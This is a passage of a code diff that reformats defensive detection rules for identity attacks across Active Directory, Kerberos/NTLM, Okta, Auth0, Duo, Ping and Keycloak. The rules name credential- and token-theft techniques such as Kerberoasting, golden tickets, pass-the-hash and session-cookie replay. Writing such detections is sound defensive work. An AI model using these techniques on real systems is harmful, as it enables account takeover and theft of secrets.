+ when={"event_id": 4624, "logon_type": 3, "user_name": "ANONYMOUS LOGON"},
+ fp=["Legacy app (must be ticketed)"],
+ playbook="tpl-initial-access",
+ ),
+ S(
+ slug="ident-ad-pwd-not-required",
+ name="AD Account Set With PASSWD_NOTREQD",
+ severity="high",
+ mitre=["t1098"],
+ product="active-directory",
+ service="audit",
+ when={"event_id": 4738, "useraccountcontrol_flag_passwd_notreqd": True},
+ fp=[FP_TUNING],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="ident-ad-pwd-never-expires-priv",
+ name="Privileged AD Account Set With DONT_EXPIRE_PASSWORD",
+ severity="medium",
+ mitre=["t1098"],
+ product="active-directory",
+ service="audit",
+ when={"event_id": 4738, "useraccountcontrol_flag_dont_expire": True, "user_priv": True},
+ fp=["Service account by design"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="ident-ad-machine-account-quota-abuse",
+ name="Machine Account Quota Exhausted By Single User",
+ severity="high",
+ mitre=["t1136.001"],
+ product="active-directory",
+ service="audit",
+ when={"event_id": 4741, "machines_created_per_user_per_day_gt": 5},
+ fp=["Approved imaging pipeline"],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="ident-ad-protected-users-removed",
+ name="User Removed From Protected Users Group",
+ severity="high",
+ mitre=["t1556"],
+ product="active-directory",
+ service="audit",
+ when={"event_id": 4729, "group_name": "Protected Users"},
+ fp=[FP_BREAK_GLASS],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="ident-ad-sidhistory-modified",
+ name="AD sIDHistory Attribute Modified",
+ severity="high",
+ mitre=["t1078.002"],
+ product="active-directory",
+ service="audit",
+ when={"event_id": 4738, "attribute_modified": "sIDHistory"},
+ fp=["Approved domain migration"],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="ident-ad-userlogon-disabled-account",
+ name="Disabled AD Account Authenticated Successfully",
+ severity="high",
+ mitre=["t1078.002"],
+ product="active-directory",
+ service="auth",
+ when={"event_id": 4624, "account_disabled": True},
+ fp=["Stale ticket cache"],
+ playbook="tpl-initial-access",
+ ),
]
@@ -243,66 +593,171 @@ PRIV_RULES: list[dict] = [
# Kerberos / NTLM / token-theft (15)
# ---------------------------------------------------------------------------
KERB_RULES: list[dict] = [
- S(slug="ident-kerberoasting-tgs-rc4", name="Kerberoasting: TGS Request With RC4_HMAC",
- severity="high", mitre=["t1558.003"], product="active-directory", service="kerberos",
- when={"event_id": 4769, "ticket_encryption_type": "0x17"},
- fp=["Legacy app (must be ticketed)"], playbook="tpl-credential-access"),
- S(slug="ident-asreproast-no-preauth", name="AS-REP Roasting: TGT Without Pre-Auth",
- severity="high", mitre=["t1558.004"], product="active-directory", service="kerberos",
- when={"event_id": 4768, "preauth_required": False},
- fp=["Approved scanner / vuln check"], playbook="tpl-credential-access"),
- S(slug="ident-golden-ticket-anomalous-tgt-lifetime", name="Golden Ticket Indicator: TGT Lifetime > 10h",
- severity="critical", mitre=["t1558.001"], product="active-directory", service="kerberos",
- when={"event_id": 4768, "ticket_lifetime_hours_gt": 10},
- fp=["Approved long-life ticket policy"], playbook="tpl-persistence"),
- S(slug="ident-silver-ticket-anomalous-spn", name="Silver Ticket Indicator: TGS Without Matching TGT",
- severity="high", mitre=["t1558.002"], product="active-directory", service="kerberos",
- when={"event_id": 4769, "tgt_seen_for_user_in_window": False},
- fp=["Logging gap"], playbook="tpl-persistence"),
- S(slug="ident-skeleton-key-encryption-downgrade", name="Skeleton Key Indicator: Forced Downgrade To DES/RC4",
- severity="critical", mitre=["t1556.001"], product="active-directory", service="kerberos",
- when={"event_id": 4624, "logon_type": 3, "encryption_type_in": ["DES", "RC4"], "domain_controller": True},
- fp=["Legacy app integration"], playbook="tpl-credential-access"),
- S(slug="ident-kerberos-failure-spike-from-host", name="Kerberos Pre-Auth Failure Spike From Host",
- severity="medium", mitre=["t1110"], product="active-directory", service="kerberos",
- when={"event_id": 4771, "failures_per_host_per_minute_gt": 50},
- fp=["Misconfigured app"], playbook="tpl-credential-access"),
- S(slug="ident-ntlm-relay-indicator", name="NTLM Authentication With Mismatched WorkstationName",
- severity="high", mitre=["t1557.001"], product="active-directory", service="ntlm",
- when={"event_id": 8004, "auth_type": "NTLMv2", "workstation_neq_source_address": True},
- fp=[FP_PENTEST], playbook="tpl-credential-access"),
- S(slug="ident-ntlm-priv-account-from-untrusted", name="Privileged Account NTLM Logon From Untrusted Host",
- severity="high", mitre=["t1078.002"], product="active-directory", service="ntlm",
- when={"event_id": 4624, "auth_type": "NTLMv2", "user_priv": True, "src_host_trusted": False},
- fp=[FP_BREAK_GLASS], playbook="tpl-credential-access"),
- S(slug="ident-pass-the-hash-anomalous-logon", name="Pass-The-Hash Indicator: NTLMv2 With NewCredentials",
- severity="high", mitre=["t1550.002"], product="active-directory", service="auth",
- when={"event_id": 4624, "logon_type": 9, "auth_type": "NTLMv2"},
- fp=["RunAs /netonly use"], playbook="tpl-lateral-movement"),
- S(slug="ident-pass-the-ticket-anomalous-tgt-source", name="Pass-The-Ticket Indicator: TGT Source IP Mismatch",
- severity="high", mitre=["t1550.003"], product="active-directory", service="kerberos",
- when={"event_id": 4624, "logon_type": 3, "ticket_source_ip_neq_session_ip": True},
- fp=["NAT / proxy environment"], playbook="tpl-lateral-movement"),
- S(slug="ident-token-theft-cookie-replay", name="Session Cookie Replayed From New Geo Within 1h",
- severity="critical", mitre=["t1539"], product="identity", service="session",
- when={"event_type": "session_continuation", "geo_changed": True, "minutes_between_lt": 60},
- fp=["Mobile-tethering carrier IP change"], playbook="tpl-credential-access"),
- S(slug="ident-oauth-refresh-token-replay", name="OAuth Refresh Token Replayed From Different IP",
- severity="high", mitre=["t1550"], product="identity", service="oauth",
- when={"event_type": "token_refresh", "src_ip_changed": True, "geo_distance_km_gt": 500},
- fp=["Roaming user"], playbook="tpl-credential-access"),
- S(slug="ident-oauth-token-theft-impossible-time", name="OAuth Access Token Used Before Issue +1s",
- severity="high", mitre=["t1550"], product="identity", service="oauth",
- when={"event_type": "token_use", "seconds_after_issue_lt": 1, "ip_changed": True},
- fp=["Clock skew"], playbook="tpl-credential-access"),
- S(slug="ident-saml-assertion-replay", name="SAML Assertion Replayed Within Window",
- severity="high", mitre=["t1550"], product="identity", service="saml",
- when={"event_type": "saml_consume", "assertion_id_seen_recently": True},
- fp=["IdP retry due to relay-state confusion"], playbook="tpl-credential-access"),
- S(slug="ident-saml-issuer-mismatch", name="SAML Assertion Issuer Mismatched",
- severity="critical", mitre=["t1556"], product="identity", service="saml",
- when={"event_type": "saml_consume", "issuer_in_trusted_list": False},
- fp=["IdP migration window"], playbook="tpl-defense-evasion"),
+ S(
+ slug="ident-kerberoasting-tgs-rc4",
+ name="Kerberoasting: TGS Request With RC4_HMAC",
+ severity="high",
+ mitre=["t1558.003"],
+ product="active-directory",
+ service="kerberos",
+ when={"event_id": 4769, "ticket_encryption_type": "0x17"},
+ fp=["Legacy app (must be ticketed)"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="ident-asreproast-no-preauth",
+ name="AS-REP Roasting: TGT Without Pre-Auth",
+ severity="high",
+ mitre=["t1558.004"],
+ product="active-directory",
+ service="kerberos",
+ when={"event_id": 4768, "preauth_required": False},
+ fp=["Approved scanner / vuln check"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="ident-golden-ticket-anomalous-tgt-lifetime",
+ name="Golden Ticket Indicator: TGT Lifetime > 10h",
+ severity="critical",
+ mitre=["t1558.001"],
+ product="active-directory",
+ service="kerberos",
+ when={"event_id": 4768, "ticket_lifetime_hours_gt": 10},
+ fp=["Approved long-life ticket policy"],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="ident-silver-ticket-anomalous-spn",
+ name="Silver Ticket Indicator: TGS Without Matching TGT",
+ severity="high",
+ mitre=["t1558.002"],
+ product="active-directory",
+ service="kerberos",
+ when={"event_id": 4769, "tgt_seen_for_user_in_window": False},
+ fp=["Logging gap"],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="ident-skeleton-key-encryption-downgrade",
+ name="Skeleton Key Indicator: Forced Downgrade To DES/RC4",
+ severity="critical",
+ mitre=["t1556.001"],
+ product="active-directory",
+ service="kerberos",
+ when={"event_id": 4624, "logon_type": 3, "encryption_type_in": ["DES", "RC4"], "domain_controller": True},
+ fp=["Legacy app integration"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="ident-kerberos-failure-spike-from-host",
+ name="Kerberos Pre-Auth Failure Spike From Host",
+ severity="medium",
+ mitre=["t1110"],
+ product="active-directory",
+ service="kerberos",
+ when={"event_id": 4771, "failures_per_host_per_minute_gt": 50},
+ fp=["Misconfigured app"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="ident-ntlm-relay-indicator",
+ name="NTLM Authentication With Mismatched WorkstationName",
+ severity="high",
+ mitre=["t1557.001"],
+ product="active-directory",
+ service="ntlm",
+ when={"event_id": 8004, "auth_type": "NTLMv2", "workstation_neq_source_address": True},
+ fp=[FP_PENTEST],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="ident-ntlm-priv-account-from-untrusted",
+ name="Privileged Account NTLM Logon From Untrusted Host",
+ severity="high",
+ mitre=["t1078.002"],
+ product="active-directory",
+ service="ntlm",
+ when={"event_id": 4624, "auth_type": "NTLMv2", "user_priv": True, "src_host_trusted": False},
+ fp=[FP_BREAK_GLASS],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="ident-pass-the-hash-anomalous-logon",
+ name="Pass-The-Hash Indicator: NTLMv2 With NewCredentials",
+ severity="high",
+ mitre=["t1550.002"],
+ product="active-directory",
+ service="auth",
+ when={"event_id": 4624, "logon_type": 9, "auth_type": "NTLMv2"},
+ fp=["RunAs /netonly use"],
+ playbook="tpl-lateral-movement",
+ ),
+ S(
+ slug="ident-pass-the-ticket-anomalous-tgt-source",
+ name="Pass-The-Ticket Indicator: TGT Source IP Mismatch",
+ severity="high",
+ mitre=["t1550.003"],
+ product="active-directory",
+ service="kerberos",
+ when={"event_id": 4624, "logon_type": 3, "ticket_source_ip_neq_session_ip": True},
+ fp=["NAT / proxy environment"],
+ playbook="tpl-lateral-movement",
+ ),
+ S(
+ slug="ident-token-theft-cookie-replay",
+ name="Session Cookie Replayed From New Geo Within 1h",
+ severity="critical",
+ mitre=["t1539"],
+ product="identity",
+ service="session",
+ when={"event_type": "session_continuation", "geo_changed": True, "minutes_between_lt": 60},
+ fp=["Mobile-tethering carrier IP change"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="ident-oauth-refresh-token-replay",
+ name="OAuth Refresh Token Replayed From Different IP",
+ severity="high",
+ mitre=["t1550"],
+ product="identity",
+ service="oauth",
+ when={"event_type": "token_refresh", "src_ip_changed": True, "geo_distance_km_gt": 500},
+ fp=["Roaming user"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="ident-oauth-token-theft-impossible-time",
+ name="OAuth Access Token Used Before Issue +1s",
+ severity="high",
+ mitre=["t1550"],
+ product="identity",
+ service="oauth",
+ when={"event_type": "token_use", "seconds_after_issue_lt": 1, "ip_changed": True},
+ fp=["Clock skew"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="ident-saml-assertion-replay",
+ name="SAML Assertion Replayed Within Window",
+ severity="high",
+ mitre=["t1550"],
+ product="identity",
+ service="saml",
+ when={"event_type": "saml_consume", "assertion_id_seen_recently": True},
+ fp=["IdP retry due to relay-state confusion"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="ident-saml-issuer-mismatch",
+ name="SAML Assertion Issuer Mismatched",
+ severity="critical",
+ mitre=["t1556"],
+ product="identity",
+ service="saml",
+ when={"event_type": "saml_consume", "issuer_in_trusted_list": False},
+ fp=["IdP migration window"],
+ playbook="tpl-defense-evasion",
+ ),
]
@@ -311,150 +766,395 @@ KERB_RULES: list[dict] = [
# ---------------------------------------------------------------------------
IDP_RULES: list[dict] = [
# Okta (12)
- S(slug="ident-okta-admin-app-assigned-many-users", name="Okta Admin App Assigned To Many Users In Burst",
- severity="medium", mitre=["t1098"], product="okta", service="audit",
- when={"event_type": "application.user_membership.add", "events_per_minute_gt": 25},
- fp=["Bulk app rollout"], playbook="tpl-discovery"),
- S(slug="ident-okta-policy-everyone-bypass-mfa", name="Okta Policy Allows 'Everyone' Without MFA",
- severity="high", mitre=["t1556"], product="okta", service="audit",
- when={"event_type_in": ["policy.lifecycle.activate", "policy.rule.update"], "factor_required": False, "applies_to_everyone": True},
- fp=[FP_TUNING], playbook="tpl-defense-evasion"),
- S(slug="ident-okta-network-zone-modified-trusted", name="Okta Trusted Network Zone Modified",
- severity="medium", mitre=["t1556"], product="okta", service="audit",
- when={"event_type": "zone.update", "zone_type": "IP", "trusted": True},
- fp=["Office relocation"], playbook="tpl-defense-evasion"),
- S(slug="ident-okta-superadmin-added", name="Okta Super Administrator Role Granted",
- severity="critical", mitre=["t1098"], product="okta", service="audit",
- when={"event_type": "user.account.privilege.grant", "role": "SUPER_ADMIN"},
- fp=[FP_BREAK_GLASS], playbook="tpl-privilege-escalation"),
- S(slug="ident-okta-suspicious-login-bot", name="Okta Login Marked Suspicious-Activity Behaviour",
- severity="medium", mitre=["t1078"], product="okta", service="auth",
- when={"event_type": "user.session.start", "behaviors_contains_any": ["new_device", "new_geolocation", "velocity"]},
- fp=["Mobile user travel"], playbook="tpl-credential-access"),
- S(slug="ident-okta-app-secret-rotated-priv", name="Okta App Sign-On Secret Rotated By Non-Admin",
- severity="high", mitre=["t1098.001"], product="okta", service="audit",
- when={"event_type": "application.lifecycle.update", "actor_role_priv": False, "secret_rotated": True},
- fp=[FP_TUNING], playbook="tpl-persistence"),
- S(slug="ident-okta-mfa-factor-reset-priv", name="Okta MFA Factor Reset For Privileged User",
- severity="high", mitre=["t1556.006"], product="okta", service="audit",
- when={"event_type": "user.mfa.factor.reset_all", "target_user_priv": True},
- fp=[FP_BREAK_GLASS], playbook="tpl-defense-evasion"),
- S(slug="ident-okta-policy-deactivated", name="Okta Sign-On Policy Deactivated",
- severity="high", mitre=["t1562.001"], product="okta", service="audit",
- when={"event_type": "policy.lifecycle.deactivate"},
- fp=[FP_TUNING], playbook="tpl-defense-evasion"),
- S(slug="ident-okta-app-assigned-foreign-domain", name="Okta App Assigned With Federated External Domain",
- severity="high", mitre=["t1199"], product="okta", service="audit",
- when={"event_type": "application.federated.user.assign", "external_domain": True},
- fp=["Approved partner integration"], playbook="tpl-initial-access"),
- S(slug="ident-okta-api-token-created-priv", name="Okta API Token Created With Admin Role",
- severity="high", mitre=["t1098.001"], product="okta", service="audit",
- when={"event_type": "system.api_token.create", "scope_contains": "admin"},
- fp=["Approved automation"], playbook="tpl-persistence"),
- S(slug="ident-okta-radius-app-added", name="Okta RADIUS Application Added",
- severity="medium", mitre=["t1133"], product="okta", service="audit",
- when={"event_type": "application.lifecycle.create", "app_type": "radius"},
- fp=["Approved network gear"], playbook="tpl-initial-access"),
- S(slug="ident-okta-mass-deactivate-users", name="Okta Mass User Deactivation",
- severity="high", mitre=["t1531"], product="okta", service="audit",
- when={"event_type": "user.lifecycle.deactivate", "events_per_minute_gt": 25},
- fp=["Bulk offboarding"], playbook="tpl-impact"),
+ S(
+ slug="ident-okta-admin-app-assigned-many-users",
+ name="Okta Admin App Assigned To Many Users In Burst",
+ severity="medium",
+ mitre=["t1098"],
+ product="okta",
+ service="audit",
+ when={"event_type": "application.user_membership.add", "events_per_minute_gt": 25},
+ fp=["Bulk app rollout"],
+ playbook="tpl-discovery",
+ ),
+ S(
+ slug="ident-okta-policy-everyone-bypass-mfa",
+ name="Okta Policy Allows 'Everyone' Without MFA",
+ severity="high",
+ mitre=["t1556"],
+ product="okta",
+ service="audit",
+ when={"event_type_in": ["policy.lifecycle.activate", "policy.rule.update"], "factor_required": False, "applies_to_everyone": True},
+ fp=[FP_TUNING],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="ident-okta-network-zone-modified-trusted",
+ name="Okta Trusted Network Zone Modified",
+ severity="medium",
+ mitre=["t1556"],
+ product="okta",
+ service="audit",
+ when={"event_type": "zone.update", "zone_type": "IP", "trusted": True},
+ fp=["Office relocation"],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="ident-okta-superadmin-added",
+ name="Okta Super Administrator Role Granted",
+ severity="critical",
+ mitre=["t1098"],
+ product="okta",
+ service="audit",
+ when={"event_type": "user.account.privilege.grant", "role": "SUPER_ADMIN"},
+ fp=[FP_BREAK_GLASS],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="ident-okta-suspicious-login-bot",
+ name="Okta Login Marked Suspicious-Activity Behaviour",
+ severity="medium",
+ mitre=["t1078"],
+ product="okta",
+ service="auth",
+ when={"event_type": "user.session.start", "behaviors_contains_any": ["new_device", "new_geolocation", "velocity"]},
+ fp=["Mobile user travel"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="ident-okta-app-secret-rotated-priv",
+ name="Okta App Sign-On Secret Rotated By Non-Admin",
+ severity="high",
+ mitre=["t1098.001"],
+ product="okta",
+ service="audit",
+ when={"event_type": "application.lifecycle.update", "actor_role_priv": False, "secret_rotated": True},
+ fp=[FP_TUNING],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="ident-okta-mfa-factor-reset-priv",
+ name="Okta MFA Factor Reset For Privileged User",
+ severity="high",
+ mitre=["t1556.006"],
+ product="okta",
+ service="audit",
+ when={"event_type": "user.mfa.factor.reset_all", "target_user_priv": True},
+ fp=[FP_BREAK_GLASS],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="ident-okta-policy-deactivated",
+ name="Okta Sign-On Policy Deactivated",
+ severity="high",
+ mitre=["t1562.001"],
+ product="okta",
+ service="audit",
+ when={"event_type": "policy.lifecycle.deactivate"},
+ fp=[FP_TUNING],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="ident-okta-app-assigned-foreign-domain",
+ name="Okta App Assigned With Federated External Domain",
+ severity="high",
+ mitre=["t1199"],
+ product="okta",
+ service="audit",
+ when={"event_type": "application.federated.user.assign", "external_domain": True},
+ fp=["Approved partner integration"],
+ playbook="tpl-initial-access",
+ ),
+ S(
+ slug="ident-okta-api-token-created-priv",
+ name="Okta API Token Created With Admin Role",
+ severity="high",
+ mitre=["t1098.001"],
+ product="okta",
+ service="audit",
+ when={"event_type": "system.api_token.create", "scope_contains": "admin"},
+ fp=["Approved automation"],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="ident-okta-radius-app-added",
+ name="Okta RADIUS Application Added",
+ severity="medium",
+ mitre=["t1133"],
+ product="okta",
+ service="audit",
+ when={"event_type": "application.lifecycle.create", "app_type": "radius"},
+ fp=["Approved network gear"],
+ playbook="tpl-initial-access",
+ ),
+ S(
+ slug="ident-okta-mass-deactivate-users",
+ name="Okta Mass User Deactivation",
+ severity="high",
+ mitre=["t1531"],
+ product="okta",
+ service="audit",
+ when={"event_type": "user.lifecycle.deactivate", "events_per_minute_gt": 25},
+ fp=["Bulk offboarding"],
+ playbook="tpl-impact",
+ ),
# Auth0 (5)
- S(slug="ident-auth0-rule-added", name="Auth0 Rule Added (Custom Code In Login Pipeline)",
- severity="high", mitre=["t1556"], product="auth0", service="audit",
- when={"event_type": "Successful API Operation", "operation": "rules.create"},
- fp=["Approved tenant config"], playbook="tpl-persistence"),
- S(slug="ident-auth0-action-deployed", name="Auth0 Action Deployed",
- severity="high", mitre=["t1556"], product="auth0", service="audit",
- when={"event_type": "Successful API Operation", "operation": "actions.deploy"},
- fp=["Approved tenant config"], playbook="tpl-persistence"),
- S(slug="ident-auth0-management-api-key-created", name="Auth0 Management API Key Created",
- severity="high", mitre=["t1098.001"], product="auth0", service="audit",
- when={"event_type": "Successful API Operation", "operation": "client_grants.create", "scope_contains": "manage"},
- fp=["Approved automation"], playbook="tpl-persistence"),
- S(slug="ident-auth0-connection-deleted", name="Auth0 Connection Deleted",
- severity="medium", mitre=["t1485"], product="auth0", service="audit",
- when={"event_type": "Successful API Operation", "operation": "connections.delete"},
- fp=["Tenant cleanup"], playbook="tpl-impact"),
- S(slug="ident-auth0-anomaly-detection-disabled", name="Auth0 Anomaly Detection Disabled",
- severity="high", mitre=["t1562.001"], product="auth0", service="audit",
- when={"event_type": "Successful API Operation", "operation": "anomaly.disable"},
- fp=[FP_TUNING], playbook="tpl-defense-evasion"),
+ S(
+ slug="ident-auth0-rule-added",
+ name="Auth0 Rule Added (Custom Code In Login Pipeline)",
+ severity="high",
+ mitre=["t1556"],
+ product="auth0",
+ service="audit",
+ when={"event_type": "Successful API Operation", "operation": "rules.create"},
+ fp=["Approved tenant config"],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="ident-auth0-action-deployed",
+ name="Auth0 Action Deployed",
+ severity="high",
+ mitre=["t1556"],
+ product="auth0",
+ service="audit",
+ when={"event_type": "Successful API Operation", "operation": "actions.deploy"},
+ fp=["Approved tenant config"],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="ident-auth0-management-api-key-created",
+ name="Auth0 Management API Key Created",
+ severity="high",
+ mitre=["t1098.001"],
+ product="auth0",
+ service="audit",
+ when={"event_type": "Successful API Operation", "operation": "client_grants.create", "scope_contains": "manage"},
+ fp=["Approved automation"],
+ playbook="tpl-persistence",
+ ),
+ S(
+ slug="ident-auth0-connection-deleted",
+ name="Auth0 Connection Deleted",
+ severity="medium",
+ mitre=["t1485"],
+ product="auth0",
+ service="audit",
+ when={"event_type": "Successful API Operation", "operation": "connections.delete"},
+ fp=["Tenant cleanup"],
+ playbook="tpl-impact",
+ ),
+ S(
+ slug="ident-auth0-anomaly-detection-disabled",
+ name="Auth0 Anomaly Detection Disabled",
+ severity="high",
+ mitre=["t1562.001"],
+ product="auth0",
+ service="audit",
+ when={"event_type": "Successful API Operation", "operation": "anomaly.disable"},
+ fp=[FP_TUNING],
+ playbook="tpl-defense-evasion",
+ ),
# Duo (5)
- S(slug="ident-duo-bypass-code-generated", name="Duo Bypass Code Generated",
- severity="high", mitre=["t1556.006"], product="duo", service="admin",
- when={"event_type": "user_create_bypass_code"},
- fp=[FP_BREAK_GLASS], playbook="tpl-credential-access"),
- S(slug="ident-duo-policy-changed-mfa-removed", name="Duo Policy Changed: MFA Requirement Removed",
- severity="high", mitre=["t1556"], product="duo", service="admin",
- when={"event_type": "policy_update", "auth_required": False},
- fp=[FP_TUNING], playbook="tpl-defense-evasion"),
- S(slug="ident-duo-admin-added-from-self", name="Duo Admin Created Via Self-Service Activation",
- severity="critical", mitre=["t1098"], product="duo", service="admin",
- when={"event_type": "admin_create", "actor_eq_target": True},
- fp=[FP_BREAK_GLASS], playbook="tpl-privilege-escalation"),
- S(slug="ident-duo-fraud-reported", name="Duo Push Marked As Fraud By User",
- severity="medium", mitre=["t1621"], product="duo", service="auth",
- when={"event_type": "auth", "result": "fraud"},
- fp=["Misclick / training"], playbook="tpl-credential-access"),
- S(slug="ident-duo-application-bypass-policy", name="Duo Application Set To Bypass Policy",
- severity="high", mitre=["t1556"], product="duo", service="admin",
- when={"event_type": "integration_update", "policy_assigned": "bypass"},
- fp=[FP_TUNING], playbook="tpl-defense-evasion"),
+ S(
+ slug="ident-duo-bypass-code-generated",
+ name="Duo Bypass Code Generated",
+ severity="high",
+ mitre=["t1556.006"],
+ product="duo",
+ service="admin",
+ when={"event_type": "user_create_bypass_code"},
+ fp=[FP_BREAK_GLASS],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="ident-duo-policy-changed-mfa-removed",
+ name="Duo Policy Changed: MFA Requirement Removed",
+ severity="high",
+ mitre=["t1556"],
+ product="duo",
+ service="admin",
+ when={"event_type": "policy_update", "auth_required": False},
+ fp=[FP_TUNING],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="ident-duo-admin-added-from-self",
+ name="Duo Admin Created Via Self-Service Activation",
+ severity="critical",
+ mitre=["t1098"],
+ product="duo",
+ service="admin",
+ when={"event_type": "admin_create", "actor_eq_target": True},
+ fp=[FP_BREAK_GLASS],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="ident-duo-fraud-reported",
+ name="Duo Push Marked As Fraud By User",
+ severity="medium",
+ mitre=["t1621"],
+ product="duo",
+ service="auth",
+ when={"event_type": "auth", "result": "fraud"},
+ fp=["Misclick / training"],
+ playbook="tpl-credential-access",
+ ),
+ S(
+ slug="ident-duo-application-bypass-policy",
+ name="Duo Application Set To Bypass Policy",
+ severity="high",
+ mitre=["t1556"],
+ product="duo",
+ service="admin",
+ when={"event_type": "integration_update", "policy_assigned": "bypass"},
+ fp=[FP_TUNING],
+ playbook="tpl-defense-evasion",
+ ),
# Ping (5)
- S(slug="ident-ping-policy-mfa-removed", name="PingOne MFA Policy Removed",
- severity="high", mitre=["t1556"], product="ping", service="audit",
- when={"event_type": "MFA_POLICY_DELETED"},
- fp=[FP_TUNING], playbook="tpl-defense-evasion"),
- S(slug="ident-ping-admin-role-burst", name="PingOne Admin Role Burst Granted",
- severity="high", mitre=["t1098"], product="ping", service="audit",
- when={"event_type": "ADMIN_ROLE_GRANT", "events_per_minute_gt": 5},
- fp=["Bulk admin onboarding"], playbook="tpl-privilege-escalation"),
- S(slug="ident-ping-pingid-device-removed", name="PingID Device Removed From Privileged User",
- severity="high", mitre=["t1556.006"], product="ping", service="audit",
- when={"event_type": "DEVICE_DELETED", "target_user_priv": True},
- fp=[FP_BREAK_GLASS], playbook="tpl-defense-evasion"),
- S(slug="ident-ping-policy-bypass-everyone", name="PingOne Policy Bypass Applied To 'Everyone'",
- severity="high", mitre=["t1556"], product="ping", service="audit",
- when={"event_type": "POLICY_UPDATE", "applies_to_everyone": True, "factor_required": False},
- fp=[FP_TUNING], playbook="tpl-defense-evasion"),
- S(slug="ident-ping-trust-store-modified", name="Ping Trust Store Certificate Added",
- severity="medium", mitre=["t1553.004"], product="ping", service="audit",
- when={"event_type": "TRUSTED_CERT_ADDED"},
- fp=["Approved IdP federation"], playbook="tpl-persistence"),
+ S(
+ slug="ident-ping-policy-mfa-removed",
+ name="PingOne MFA Policy Removed",
+ severity="high",
+ mitre=["t1556"],
+ product="ping",
+ service="audit",
+ when={"event_type": "MFA_POLICY_DELETED"},
+ fp=[FP_TUNING],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="ident-ping-admin-role-burst",
+ name="PingOne Admin Role Burst Granted",
+ severity="high",
+ mitre=["t1098"],
+ product="ping",
+ service="audit",
+ when={"event_type": "ADMIN_ROLE_GRANT", "events_per_minute_gt": 5},
+ fp=["Bulk admin onboarding"],
+ playbook="tpl-privilege-escalation",
+ ),
+ S(
+ slug="ident-ping-pingid-device-removed",
+ name="PingID Device Removed From Privileged User",
+ severity="high",
+ mitre=["t1556.006"],
+ product="ping",
+ service="audit",
+ when={"event_type": "DEVICE_DELETED", "target_user_priv": True},
+ fp=[FP_BREAK_GLASS],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="ident-ping-policy-bypass-everyone",
+ name="PingOne Policy Bypass Applied To 'Everyone'",
+ severity="high",
+ mitre=["t1556"],
+ product="ping",
+ service="audit",
+ when={"event_type": "POLICY_UPDATE", "applies_to_everyone": True, "factor_required": False},
+ fp=[FP_TUNING],
+ playbook="tpl-defense-evasion",
+ ),
+ S(
+ slug="ident-ping-trust-store-modified",
+ name="Ping Trust Store Certificate Added",
+ severity="medium",
+ mitre=["t1553.004"],
+ product="ping",
+ service="audit",
+ when={"event_type": "TRUSTED_CERT_ADDED"},
+ fp=["Approved IdP federation"],
+ playbook="tpl-persistence",
+ ),
# Keycloak / Generic OIDC (8)
- S(slug="ident-keycloak-master-realm-user-created", name="Keycloak Master Realm User Created",
- severity="high", mitre=["t1136"], product="keycloak", service="audit",
- when={"event_type": "USER_CREATE", "realm": "master"},
- fp=["Bootstrap"], playbook="tpl-persistence"),
- S(slug="ident-keycloak-admin-realm-role-grant", name="Keycloak realm-admin Role Granted",
- severity="high", mitre=["t1098"], product="keycloak", service="audit",
- when={"event_type": "ROLE_ASSIGN", "role": "realm-admin"},
- fp=["Bootstrap"], playbook="tpl-privilege-escalation"),
- S(slug="ident-keycloak-client-secret-regen", name="Keycloak Client Secret Regenerated",
- severity="medium", mitre=["t1098.001"], product="keycloak", service="audit",
- when={"event_type": "CLIENT_UPDATE", "secret_changed": True},
- fp=[FP_AUTOMATION], playbook="tpl-persistence"),
- S(slug="ident-keycloak-impersonation-used", name="Keycloak User Impersonation Used",
- severity="high", mitre=["t1078"], product="keycloak", service="audit",
- when={"event_type": "IMPERSONATE"},
- fp=[FP_FORENSIC], playbook="tpl-privilege-escalation"),
- S(slug="ident-oidc-issuer-trust-changed", name="Generic OIDC Issuer Trust Modified",
- severity="high", mitre=["t1556"], product="identity", service="oidc",
- when={"event_type": "issuer.update", "discovery_url_changed": True},
- fp=["Approved IdP migration"], playbook="tpl-defense-evasion"),
- S(slug="ident-oidc-many-clients-from-single-actor", name="OIDC Client Burst Created By Single Actor",
- severity="medium", mitre=["t1136"], product="identity", service="oidc",
- when={"event_type": "client.create", "events_per_minute_per_actor_gt": 5},
- fp=[FP_AUTOMATION], playbook="tpl-persistence"),
- S(slug="ident-oidc-secret-leaked-pattern", name="OIDC Client Secret Logged In Plaintext",
- severity="medium", mitre=["t1552.004"], product="identity", service="oidc",
- when={"event_type": "log_emit", "field_contains_oidc_secret": True},
- fp=[], playbook="tpl-credential-access"),
- S(slug="ident-oidc-redirect-uri-wildcard", name="OIDC Client Configured With Wildcard Redirect URI",
- severity="high", mitre=["t1539"], product="identity", service="oidc",
- when={"event_type": "client.update", "redirect_uri_contains": "*"},
